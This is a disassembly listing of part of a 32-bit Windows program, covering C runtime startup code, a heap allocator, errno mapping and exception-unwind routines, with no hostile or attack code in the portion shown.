mov eax, dword_4111A4
dec eax
mov dword_4111A4, eax
call dword_411060[eax*4]
loc_449E2A: ; CODE XREF: sub_449DC1+55j
cmp dword_4111A4, 0
jnz short loc_449E18
or [ebp+var_4], 0FFFFFFFFh
call sub_449E3E
jmp short loc_449E47
sub_449DC1 endp
; =============== S U B R O U T I N E =======================================
sub_449E3E proc near ; CODE XREF: sub_449DC1+76p
push 2
call sub_44ABA1
pop ecx
retn
sub_449E3E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_449DC1
loc_449E47: ; CODE XREF: sub_449DC1+7Bj
mov eax, [ebp+arg_0]
push eax
call sub_44B571
pop ecx
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_10]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_449DC1
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
; =============== S U B R O U T I N E =======================================
sub_449E71 proc near ; CODE XREF: DMN1:00448A0Fp
; DMN1:00448A3Ep ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_44B5F1
pop ecx
retn
sub_449E71 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_40F8EC
push offset sub_408478
push large dword ptr fs:0
mov large fs:0, esp
sub esp, 50h
push ebx
push esi
push edi
mov [ebp-18h], esp
push 2000000h
call sub_44D211
pop ecx
mov dword_4117DC, eax
call sub_44A991
test eax, eax
jnz short loc_449EC8
push 1
call sub_44B571
pop ecx
loc_449EC8: ; CODE XREF: DMN1:00449EBEj
call sub_44B3B1
test eax, eax
jnz short loc_449ED9
push 1
call sub_44B571
pop ecx
loc_449ED9: ; CODE XREF: DMN1:00449ECFj
mov dword ptr [ebp-4], 0
call sub_44B621
call sub_44B681
call sub_44BAF1
call sub_44BB91
mov esi, offset dword_4101EC
jmp short loc_449F00
; ---------------------------------------------------------------------------
loc_449EFB: ; CODE XREF: DMN1:00449F06j
call dword ptr [esi]
add esi, 4
loc_449F00: ; CODE XREF: DMN1:00449EF9j
cmp esi, offset dword_4101EC
jb short loc_449EFB
mov dword ptr [ebp-30h], 0
lea eax, [ebp-5Ch]
push eax
call dword_411DA8
push 0
call dword_411D6C
mov [ebp-60h], eax
call sub_44BC51
test byte ptr [ebp-30h], 1
jz short loc_449F35
movzx esi, word ptr [ebp-2Ch]
jmp short loc_449F3A
; ---------------------------------------------------------------------------
loc_449F35: ; CODE XREF: DMN1:00449F2Dj
mov esi, 0Ah
loc_449F3A: ; CODE XREF: DMN1:00449F33j
push esi
push eax
push 0
mov eax, [ebp-60h]
push eax
call sub_449069
mov ebx, eax
mov edi, offset dword_4101EC
jmp short loc_449F55
; ---------------------------------------------------------------------------
loc_449F50: ; CODE XREF: DMN1:00449F5Bj
call dword ptr [edi]
add edi, 4
loc_449F55: ; CODE XREF: DMN1:00449F4Ej
cmp edi, offset dword_4101EC
jb short loc_449F50
push ebx
call sub_449DC1
pop ecx
jmp short loc_449F8E
; ---------------------------------------------------------------------------
mov eax, [ebp-14h]
mov eax, [eax]
mov eax, [eax]
mov [ebp-1Ch], eax
mov eax, [ebp-14h]
push eax
mov eax, [ebp-1Ch]
push eax
call sub_44B581
add esp, 8
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
mov eax, [ebp-1Ch]
push eax
call sub_44B571
pop ecx
loc_449F8E: ; CODE XREF: DMN1:00449F64j
or dword ptr [ebp-4], 0FFFFFFFFh
pop edi
pop esi
pop ebx
mov ecx, [ebp-10h]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
db 8Dh, 0BCh, 27h, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_449FB1 proc near ; CODE XREF: sub_44A241+ECp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
add eax, 3
shr eax, 0Eh
shl eax, 0Eh
lea esi, [eax+4000h]
mov edi, esi
shl edi, 2
push edi
call sub_44BC91
pop ecx
mov [ebp+var_8], eax
test eax, eax
jnz short loc_449FF0
mov dword_4117E0, 0
xor eax, eax
jmp loc_44A22E
; ---------------------------------------------------------------------------
loc_449FF0: ; CODE XREF: sub_449FB1+2Cj
mov eax, dword_4127EC
mov edx, dword_4127E8
add eax, edx
cmp eax, [ebp+var_8]
jnz short loc_44A016
mov ebx, dword_4127E8
mov eax, dword_4127EC
add edi, eax
mov esi, edi
shr esi, 2
jmp short loc_44A023
; ---------------------------------------------------------------------------
loc_44A016: ; CODE XREF: sub_449FB1+4Fj
mov eax, [ebp+var_8]
mov ebx, eax
mov edx, ebx
sub edx, eax
mov eax, edx
sub edi, eax
loc_44A023: ; CODE XREF: sub_449FB1+63j
mov eax, esi
shl eax, 2
lea edx, [ebx+eax]
mov dword_4127E8, edx
mov edx, edi
sub edx, eax
mov eax, edx
mov dword_4127EC, eax
mov eax, dword_4111CC
add eax, 4
cmp ebx, eax
jnz short loc_44A055
cmp dword_4111D4, 0
jnz loc_44A1C7
loc_44A055: ; CODE XREF: sub_449FB1+95j
mov eax, dword_4111D4
mov [ebp+var_C], eax
mov dword_4111D4, ebx
mov eax, [ebp+var_C]
mov [ebx], eax
add ebx, 4
dec esi
mov dword_4111CC, ebx
mov eax, dword_4111D0
test eax, eax
jz short loc_44A07F
cmp eax, ebx
jbe short loc_44A085
loc_44A07F: ; CODE XREF: sub_449FB1+C8j
mov dword_4111D0, ebx
loc_44A085: ; CODE XREF: sub_449FB1+CCj
mov eax, esi
or eax, 80000000h
mov [ebx], eax
mov eax, dword_4111CC
lea eax, [eax+esi*4-4]
mov dword_4111CC, eax
mov edx, dword_4111CC
mov eax, esi
or eax, 80000000h
mov [edx], eax
sub esi, 2
add ebx, 4
mov eax, dword_4111CC
lea ebx, [eax-4]
cmp esi, dword_4111E4
ja short loc_44A0F3
cmp esi, dword_4111DC
ja short loc_44A0DB
mov eax, dword_4111D8
cmp esi, eax
setnbe al
and eax, 1
mov [ebp+var_10], eax
jmp short loc_44A0EE
; ---------------------------------------------------------------------------
loc_44A0DB: ; CODE XREF: sub_449FB1+116j
mov eax, dword_4111E0
cmp esi, eax
setnbe al
and eax, 1
add eax, 2
mov [ebp+var_10], eax
loc_44A0EE: ; CODE XREF: sub_449FB1+128j
mov eax, [ebp+var_10]
jmp short loc_44A123
; ---------------------------------------------------------------------------
loc_44A0F3: ; CODE XREF: sub_449FB1+10Ej
cmp esi, dword_4111EC
ja short loc_44A110
mov eax, dword_4111E8
cmp esi, eax
setnbe al
and eax, 1
add eax, 4
mov [ebp+var_10], eax
jmp short loc_44A123
; ---------------------------------------------------------------------------
loc_44A110: ; CODE XREF: sub_449FB1+148j
mov eax, dword_4111F0
cmp esi, eax
setnbe al
and eax, 1
add eax, 6
mov [ebp+var_10], eax
loc_44A123: ; CODE XREF: sub_449FB1+140j
; sub_449FB1+15Dj
mov eax, [ebp+var_10]
mov dword_4111FC, eax
mov eax, dword_4111FC
mov eax, dword_4111A8[eax*4]
mov [ebp+var_18], eax
test eax, eax
jnz short loc_44A169
mov [ebp+var_14], ebx
mov [ebp+var_18], ebx
mov eax, dword_4111FC
mov dword_4111A8[eax*4], ebx
mov eax, dword_4111FC
cmp dword_4111F8, eax
jle short loc_44A172
mov eax, dword_4111FC
mov dword_4111F8, eax
jmp short loc_44A172
; ---------------------------------------------------------------------------
loc_44A169: ; CODE XREF: sub_449FB1+18Bj
mov eax, [ebp+var_18]
mov eax, [eax-8]
mov [ebp+var_14], eax
loc_44A172: ; CODE XREF: sub_449FB1+1AAj
; sub_449FB1+1B6j
mov eax, [ebp+var_18]
mov [ebx-4], eax
mov edx, [ebp+var_18]
mov [edx-8], ebx
mov edx, [ebp+var_14]
mov [edx-4], ebx
mov eax, [ebp+var_14]
mov [ebx-8], eax
mov eax, esi
shl eax, 2
mov edx, ebx
sub edx, eax
mov [edx+4], esi
mov [ebx], esi
mov eax, dword_4111FC
mov dword_4111A8[eax*4], ebx
jmp short loc_44A1AC
; ---------------------------------------------------------------------------
loc_44A1A6: ; CODE XREF: sub_449FB1+20Dj
inc dword_4111F8
loc_44A1AC: ; CODE XREF: sub_449FB1+1F3j
mov eax, dword_4111F8
cmp dword_4111A8[eax*4], 0
jnz short loc_44A1C0
cmp eax, 7
jl short loc_44A1A6
loc_44A1C0: ; CODE XREF: sub_449FB1+208j
mov eax, 1
jmp short loc_44A22E
; ---------------------------------------------------------------------------
loc_44A1C7: ; CODE XREF: sub_449FB1+9Ej
add ebx, 0FFFFFFFCh
mov eax, [ebx]
and eax, 7FFFFFFFh
add eax, esi
mov [ebp+var_4], eax
mov eax, esi
or eax, 80000000h
mov [ebx], eax
mov eax, dword_4111CC
lea eax, [eax+esi*4]
mov dword_4111CC, eax
mov edx, dword_4111CC
mov eax, [ebx]
mov [edx-4], eax
mov edx, dword_4111CC
mov eax, [ebp+var_4]
or eax, 80000000h
mov [edx], eax
mov eax, [ebp+var_4]
mov edx, dword_4111CC
mov ecx, eax
shl ecx, 2
sub edx, ecx
or eax, 80000000h
mov [edx+4], eax
lea eax, [ebx+4]
push eax
call sub_4494D1
pop ecx
mov eax, 1
loc_44A22E: ; CODE XREF: sub_449FB1+3Aj
; sub_449FB1+214j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_449FB1 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BFh, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44A241 proc near ; CODE XREF: sub_44A581+4Ap
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 24h
push ebx
push esi
push edi
xor ebx, ebx
mov eax, [ebp+arg_0]
add eax, 3
shr eax, 2
lea esi, [eax+2]
cmp esi, 4
jnb short loc_44A262
mov esi, 4
loc_44A262: ; CODE XREF: sub_44A241+1Aj
xor edi, edi
cmp esi, dword_4111E4
ja short loc_44A29E
cmp esi, dword_4111DC
ja short loc_44A286
mov eax, dword_4111D8
cmp esi, eax
setnbe al
and eax, 1
mov [ebp+var_10], eax
jmp short loc_44A299
; ---------------------------------------------------------------------------
loc_44A286: ; CODE XREF: sub_44A241+31j
mov eax, dword_4111E0
cmp esi, eax
setnbe al
and eax, 1
add eax, 2
mov [ebp+var_10], eax
loc_44A299: ; CODE XREF: sub_44A241+43j
mov eax, [ebp+var_10]
jmp short loc_44A2CE
; ---------------------------------------------------------------------------
loc_44A29E: ; CODE XREF: sub_44A241+29j
cmp esi, dword_4111EC
ja short loc_44A2BB
mov eax, dword_4111E8
cmp esi, eax
setnbe al
and eax, 1
add eax, 4
mov [ebp+var_10], eax
jmp short loc_44A2CE
; ---------------------------------------------------------------------------
loc_44A2BB: ; CODE XREF: sub_44A241+63j
mov eax, dword_4111F0
cmp esi, eax
setnbe al
and eax, 1
add eax, 6
mov [ebp+var_10], eax
loc_44A2CE: ; CODE XREF: sub_44A241+5Bj
; sub_44A241+78j
mov eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, dword_4111F8
cmp [ebp+var_C], eax
jge short loc_44A31E
mov eax, dword_4111F8
mov [ebp+var_C], eax
jmp short loc_44A31E
; ---------------------------------------------------------------------------
loc_44A2E8: ; CODE XREF: sub_44A241+E5j
mov eax, [ebp+var_C]
lea edx, [eax+1]
mov [ebp+var_C], edx
mov eax, dword_4111A8[eax*4]
mov ebx, eax
test eax, eax
jz short loc_44A31E
mov eax, dword_4111CC
add eax, 0FFFFFFFCh
cmp ebx, eax
jnz short loc_44A30D
mov ebx, [ebx-4]
loc_44A30D: ; CODE XREF: sub_44A241+C7j
mov [ebp+var_4], ebx
loc_44A310: ; CODE XREF: sub_44A241+DBj
mov edi, [ebx]
cmp edi, esi
jnb short loc_44A31E
mov ebx, [ebx-4]
cmp ebx, [ebp+var_4]
jnz short loc_44A310
loc_44A31E: ; CODE XREF: sub_44A241+9Bj
; sub_44A241+A5j ...
cmp edi, esi
jnb short loc_44A328
cmp [ebp+var_C], 8
jl short loc_44A2E8
loc_44A328: ; CODE XREF: sub_44A241+DFj
cmp edi, esi
jnb short loc_44A34E
push esi
call sub_449FB1
pop ecx
test eax, eax
jz loc_44A578
mov eax, dword_4111FC
mov [ebp+var_C], eax
mov ebx, dword_4111A8[eax*4]
mov edi, [ebx]
jmp short loc_44A357
; ---------------------------------------------------------------------------
loc_44A34E: ; CODE XREF: sub_44A241+E9j
cmp [ebp+var_C], 0
jle short loc_44A357
dec [ebp+var_C]
loc_44A357: ; CODE XREF: sub_44A241+10Bj
; sub_44A241+111j
mov eax, edi
sub eax, esi
mov [ebp+var_14], eax
cmp eax, 4
jb loc_44A4E0
mov eax, dword_4111E4
cmp [ebp+var_14], eax
ja short loc_44A3A7
mov eax, dword_4111DC
cmp [ebp+var_14], eax
ja short loc_44A38E
mov eax, dword_4111D8
cmp [ebp+var_14], eax
setnbe al
and eax, 1
mov [ebp+var_1C], eax
jmp short loc_44A3A2
; ---------------------------------------------------------------------------
loc_44A38E: ; CODE XREF: sub_44A241+138j
mov eax, dword_4111E0
cmp [ebp+var_14], eax
setnbe al
and eax, 1
add eax, 2
mov [ebp+var_1C], eax
loc_44A3A2: ; CODE XREF: sub_44A241+14Bj
mov eax, [ebp+var_1C]
jmp short loc_44A3DB
; ---------------------------------------------------------------------------
loc_44A3A7: ; CODE XREF: sub_44A241+12Ej
mov eax, dword_4111EC
cmp [ebp+var_14], eax
ja short loc_44A3C7
mov eax, dword_4111E8
cmp [ebp+var_14], eax
setnbe al
and eax, 1
add eax, 4
mov [ebp+var_1C], eax
jmp short loc_44A3DB
; ---------------------------------------------------------------------------
loc_44A3C7: ; CODE XREF: sub_44A241+16Ej
mov eax, dword_4111F0
cmp [ebp+var_14], eax
setnbe al
and eax, 1
add eax, 6
mov [ebp+var_1C], eax
loc_44A3DB: ; CODE XREF: sub_44A241+164j
; sub_44A241+184j
mov eax, [ebp+var_1C]
mov [ebp+var_18], eax
mov eax, [ebp+var_C]
cmp [ebp+var_18], eax
jz loc_44A4CD
mov eax, [ebx-4]
mov [ebp+var_20], eax
cmp ebx, [ebp+var_20]
jnz short loc_44A42F
mov eax, [ebp+var_C]
mov dword_4111A8[eax*4], 0
mov eax, [ebp+var_C]
cmp dword_4111F8, eax
jnz short loc_44A460
jmp short loc_44A419
; ---------------------------------------------------------------------------
loc_44A413: ; CODE XREF: sub_44A241+1EAj
inc dword_4111F8
loc_44A419: ; CODE XREF: sub_44A241+1D0j
mov eax, dword_4111F8
cmp dword_4111A8[eax*4], 0
jnz short loc_44A42D
cmp eax, 7
jl short loc_44A413
loc_44A42D: ; CODE XREF: sub_44A241+1E5j
jmp short loc_44A460
; ---------------------------------------------------------------------------
loc_44A42F: ; CODE XREF: sub_44A241+1B5j
mov eax, [ebx-8]
mov [ebp+var_24], eax
mov edx, [ebp+var_24]
mov eax, [ebp+var_20]
mov [edx-4], eax
mov edx, [ebp+var_20]
mov eax, [ebp+var_24]
mov [edx-8], eax
mov eax, [ebp+var_C]
cmp ebx, dword_4111A8[eax*4]
jnz short loc_44A460
mov eax, [ebp+var_C]
mov edx, [ebp+var_24]
mov dword_4111A8[eax*4], edx
loc_44A460: ; CODE XREF: sub_44A241+1CEj
; sub_44A241:loc_44A42Dj ...
mov eax, [ebp+var_18]
mov eax, dword_4111A8[eax*4]
mov [ebp+var_24], eax
test eax, eax
jnz short loc_44A496
mov [ebp+var_20], ebx
mov [ebp+var_24], ebx
mov eax, [ebp+var_18]
mov dword_4111A8[eax*4], ebx
mov eax, [ebp+var_18]
cmp dword_4111F8, eax
jle short loc_44A49F
mov eax, [ebp+var_18]
mov dword_4111F8, eax
jmp short loc_44A49F
; ---------------------------------------------------------------------------
loc_44A496: ; CODE XREF: sub_44A241+22Ej
mov eax, [ebp+var_24]
mov eax, [eax-8]
mov [ebp+var_20], eax
loc_44A49F: ; CODE XREF: sub_44A241+249j
; sub_44A241+253j
mov eax, [ebp+var_24]
mov [ebx-4], eax
mov edx, [ebp+var_24]
mov [edx-8], ebx
mov edx, [ebp+var_20]
mov [edx-4], ebx
mov eax, [ebp+var_20]
mov [ebx-8], eax
mov eax, [ebp+var_14]
mov edx, eax
shl edx, 2
mov ecx, ebx
sub ecx, edx
mov [ecx+4], eax
mov [ebx], eax
jmp loc_44A555
; ---------------------------------------------------------------------------
loc_44A4CD: ; CODE XREF: sub_44A241+1A6j
mov eax, [ebp+var_14]
mov edx, eax
shl edx, 2
mov ecx, ebx
sub ecx, edx
mov [ecx+4], eax
mov [ebx], eax
jmp short loc_44A555
; ---------------------------------------------------------------------------
loc_44A4E0: ; CODE XREF: sub_44A241+120j
mov eax, [ebx-4]
mov [ebp+var_1C], eax
cmp ebx, [ebp+var_1C]
jnz short loc_44A522
mov eax, [ebp+var_C]
mov dword_4111A8[eax*4], 0
mov eax, [ebp+var_C]
cmp dword_4111F8, eax
jnz short loc_44A553
jmp short loc_44A50C
; ---------------------------------------------------------------------------
loc_44A506: ; CODE XREF: sub_44A241+2DDj
inc dword_4111F8
loc_44A50C: ; CODE XREF: sub_44A241+2C3j
mov eax, dword_4111F8
cmp dword_4111A8[eax*4], 0
jnz short loc_44A520
cmp eax, 7
jl short loc_44A506
loc_44A520: ; CODE XREF: sub_44A241+2D8j
jmp short loc_44A553
; ---------------------------------------------------------------------------
loc_44A522: ; CODE XREF: sub_44A241+2A8j
mov eax, [ebx-8]
mov [ebp+var_20], eax
mov edx, [ebp+var_20]
mov eax, [ebp+var_1C]
mov [edx-4], eax
mov edx, [ebp+var_1C]
mov eax, [ebp+var_20]
mov [edx-8], eax
mov eax, [ebp+var_C]
cmp ebx, dword_4111A8[eax*4]
jnz short loc_44A553
mov eax, [ebp+var_C]
mov edx, [ebp+var_20]
mov dword_4111A8[eax*4], edx
loc_44A553: ; CODE XREF: sub_44A241+2C1j
; sub_44A241:loc_44A520j ...
mov esi, edi
loc_44A555: ; CODE XREF: sub_44A241+287j
; sub_44A241+29Dj
mov eax, edi
shl eax, 2
mov edx, ebx
sub edx, eax
lea eax, [edx+4]
mov [ebp+var_8], eax
mov edx, esi
or edx, 80000000h
mov [eax+esi*4-4], edx
mov [eax], edx
mov eax, [ebp+var_8]
add eax, 4
loc_44A578: ; CODE XREF: sub_44A241+F4j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44A241 endp
; ---------------------------------------------------------------------------
db 89h, 0FFh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44A581 proc near ; CODE XREF: sub_449121+Dp
; sub_449CF1+Ap ...
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 0044A5E8 SIZE 00000038 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_40F8FC
push offset sub_408478
push large dword ptr fs:0
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov [ebp+var_1C], 0
mov eax, dword_4117E0
cmp [ebp+arg_0], eax
jnb short loc_44A5E8
push 0
call sub_44AB21
pop ecx
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
push eax
call sub_44A241
pop ecx
mov [ebp+var_1C], eax
or [ebp+var_4], 0FFFFFFFFh
call sub_44A5DF
jmp short loc_44A5E8
sub_44A581 endp
; =============== S U B R O U T I N E =======================================
sub_44A5DF proc near ; CODE XREF: sub_44A581+57p
push 0
call sub_44ABA1
pop ecx
retn
sub_44A5DF endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_44A581
loc_44A5E8: ; CODE XREF: sub_44A581+35j
; sub_44A581+5Cj
cmp [ebp+var_1C], 0
jnz short loc_44A5FB
mov eax, [ebp+arg_0]
push eax
call sub_44A9D1
pop ecx
mov [ebp+var_1C], eax
loc_44A5FB: ; CODE XREF: sub_44A581+6Bj
cmp [ebp+var_1C], 0
jnz short loc_44A60C
call sub_44A781
mov dword ptr [eax], 0Ch
loc_44A60C: ; CODE XREF: sub_44A581+7Ej
mov eax, [ebp+var_1C]
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_10]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_44A581
; ---------------------------------------------------------------------------
db 90h
; =============== S U B R O U T I N E =======================================
sub_44A621 proc near ; CODE XREF: sub_449CF1+7Bp
; sub_44B161+80p ...
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 91h
jz loc_44A6F3
jg short loc_44A67E
cmp ebx, 50h
jl short loc_44A645
cmp ebx, 59h
jg short loc_44A656
jmp dword ptr aProtorecvDataS+4[ebx*4]
; ---------------------------------------------------------------------------
loc_44A645: ; CODE XREF: sub_44A621+16j
cmp ebx, 1
jl short loc_44A6C3
cmp ebx, 43h
jg short loc_44A6C3
jmp off_40F92C[ebx*4]
; ---------------------------------------------------------------------------
loc_44A656: ; CODE XREF: sub_44A621+1Bj
cmp ebx, 6Ch
jl short loc_44A6C3
cmp ebx, 72h
jg short loc_44A667
jmp dword ptr a02i02i02iIIIS+7[ebx*4]
; ---------------------------------------------------------------------------
loc_44A667: ; CODE XREF: sub_44A621+3Dj
cmp ebx, 80h
jl short loc_44A6C3
cmp ebx, 84h
jg short loc_44A6C3
jmp dword ptr aWinsock2_xInit+0Fh[ebx*4]
; ---------------------------------------------------------------------------
loc_44A67E: ; CODE XREF: sub_44A621+11j
cmp ebx, 0A4h
jz short loc_44A700
cmp ebx, 0A7h
jz short loc_44A6F3
jg short loc_44A6A2
cmp ebx, 9Eh
jz short loc_44A6F3
cmp ebx, 0A1h
jz short loc_44A6D3
jmp short loc_44A6C3
; ---------------------------------------------------------------------------
loc_44A6A2: ; CODE XREF: sub_44A621+6Dj
cmp ebx, 0B7h
jl short loc_44A6C3
cmp ebx, 0D7h
jg short loc_44A6B9
jmp dword ptr aHandshakeBadPa+1[ebx*4]
; ---------------------------------------------------------------------------
loc_44A6B9: ; CODE XREF: sub_44A621+8Fj
cmp ebx, 718h
jz short loc_44A6E3
jmp short $+2
loc_44A6C3: ; CODE XREF: sub_44A621+27j
; sub_44A621+2Cj ...
call sub_44A781
mov dword ptr [eax], 16h
jmp loc_44A773
; ---------------------------------------------------------------------------
loc_44A6D3: ; CODE XREF: sub_44A621+7Dj
call sub_44A781
mov dword ptr [eax], 2
jmp loc_44A773
; ---------------------------------------------------------------------------
loc_44A6E3: ; CODE XREF: sub_44A621+9Ej
call sub_44A781
mov dword ptr [eax], 0Ch
jmp loc_44A773
; ---------------------------------------------------------------------------
loc_44A6F3: ; CODE XREF: sub_44A621+Bj
; sub_44A621+6Bj ...
call sub_44A781
mov dword ptr [eax], 0Dh
jmp short loc_44A773
; ---------------------------------------------------------------------------
loc_44A700: ; CODE XREF: sub_44A621+63j
call sub_44A781
mov dword ptr [eax], 0Bh
jmp short loc_44A773
; ---------------------------------------------------------------------------
call sub_44A781
mov dword ptr [eax], 11h
jmp short loc_44A773
; ---------------------------------------------------------------------------
call sub_44A781
mov dword ptr [eax], 9
jmp short loc_44A773
; ---------------------------------------------------------------------------
call sub_44A781
mov dword ptr [eax], 0Ah
jmp short loc_44A773
; ---------------------------------------------------------------------------
call sub_44A781
mov dword ptr [eax], 8
jmp short loc_44A773
; ---------------------------------------------------------------------------
call sub_44A781
mov dword ptr [eax], 18h
jmp short loc_44A773
; ---------------------------------------------------------------------------
call sub_44A781
mov dword ptr [eax], 1Ch
jmp short loc_44A773
; ---------------------------------------------------------------------------
call sub_44A781
mov dword ptr [eax], 20h
jmp short loc_44A773
; ---------------------------------------------------------------------------
call sub_44A781
mov dword ptr [eax], 12h
loc_44A773: ; CODE XREF: sub_44A621+ADj
; sub_44A621+BDj ...
pop ebx
retn
sub_44A621 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BFh, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44A781 proc near ; CODE XREF: sub_449151+1Bp
; sub_44A581+80p ...
call sub_44B471
add eax, 8
retn
sub_44A781 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+0Ch]
mov eax, [ebp+8]
test dword ptr [eax+4], 6
jnz short loc_44A82E
mov [ebp-8], eax
mov eax, [ebp+10h]
mov [ebp-4], eax
lea eax, [ebp-8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_44A7C8: ; CODE XREF: DMN1:0044A825j
cmp esi, 0FFFFFFFFh
jz short loc_44A83E
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_44A81C
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+0Ch]
test eax, eax
jz short loc_44A81C
js short loc_44A827
mov edi, [ebx+8]
push ebx
call sub_44A871
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_44A8C1
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_44A96A
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_44A81C: ; CODE XREF: DMN1:0044A7D5j
; DMN1:0044A7E7j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_44A7C8
; ---------------------------------------------------------------------------
loc_44A827: ; CODE XREF: DMN1:0044A7E9j
mov eax, 0
jmp short loc_44A843
; ---------------------------------------------------------------------------
loc_44A82E: ; CODE XREF: DMN1:0044A7B1j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_44A8C1
add esp, 8
pop ebp
loc_44A83E: ; CODE XREF: DMN1:0044A7CBj
mov eax, 1
loc_44A843: ; CODE XREF: DMN1:0044A82Cj
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_44A8C1
add esp, 8
pop ebp
retn 4
; ---------------------------------------------------------------------------
db 90h
db 8Dh, 7Ch, 27h, 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44A871 proc near ; CODE XREF: DMN1:0044A7EFp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_408568
push [ebp+arg_0]
call sub_44F801
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44A871 endp
; ---------------------------------------------------------------------------
mov ecx, [esp+4]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_44A8B2
mov eax, [esp+8]
mov edx, [esp+10h]
mov [edx], eax
mov eax, 3
locret_44A8B2: ; CODE XREF: DMN1:0044A8A1j
retn
; ---------------------------------------------------------------------------
db 8Dh, 0BCh, 27h, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44A8C1 proc near ; CODE XREF: DMN1:0044A7FCp
; DMN1:0044A835p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_408570
push large dword ptr fs:0
mov large fs:0, esp
loc_44A8DE: ; CODE XREF: sub_44A8C1:loc_44A919j
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_44A91B
cmp esi, [esp+1Ch+arg_4]
jz short loc_44A91B
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_44A919
push 101h
mov eax, [ebx+esi*4+8]
call sub_44A96A
call dword ptr [ebx+esi*4+8]
loc_44A919: ; CODE XREF: sub_44A8C1+44j
jmp short loc_44A8DE
; ---------------------------------------------------------------------------
loc_44A91B: ; CODE XREF: sub_44A8C1+2Aj
; sub_44A8C1+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_44A8C1 endp
; ---------------------------------------------------------------------------
db 90h
db 8Dh, 0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_408570
jnz short locret_44A953
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_44A953
mov eax, 1
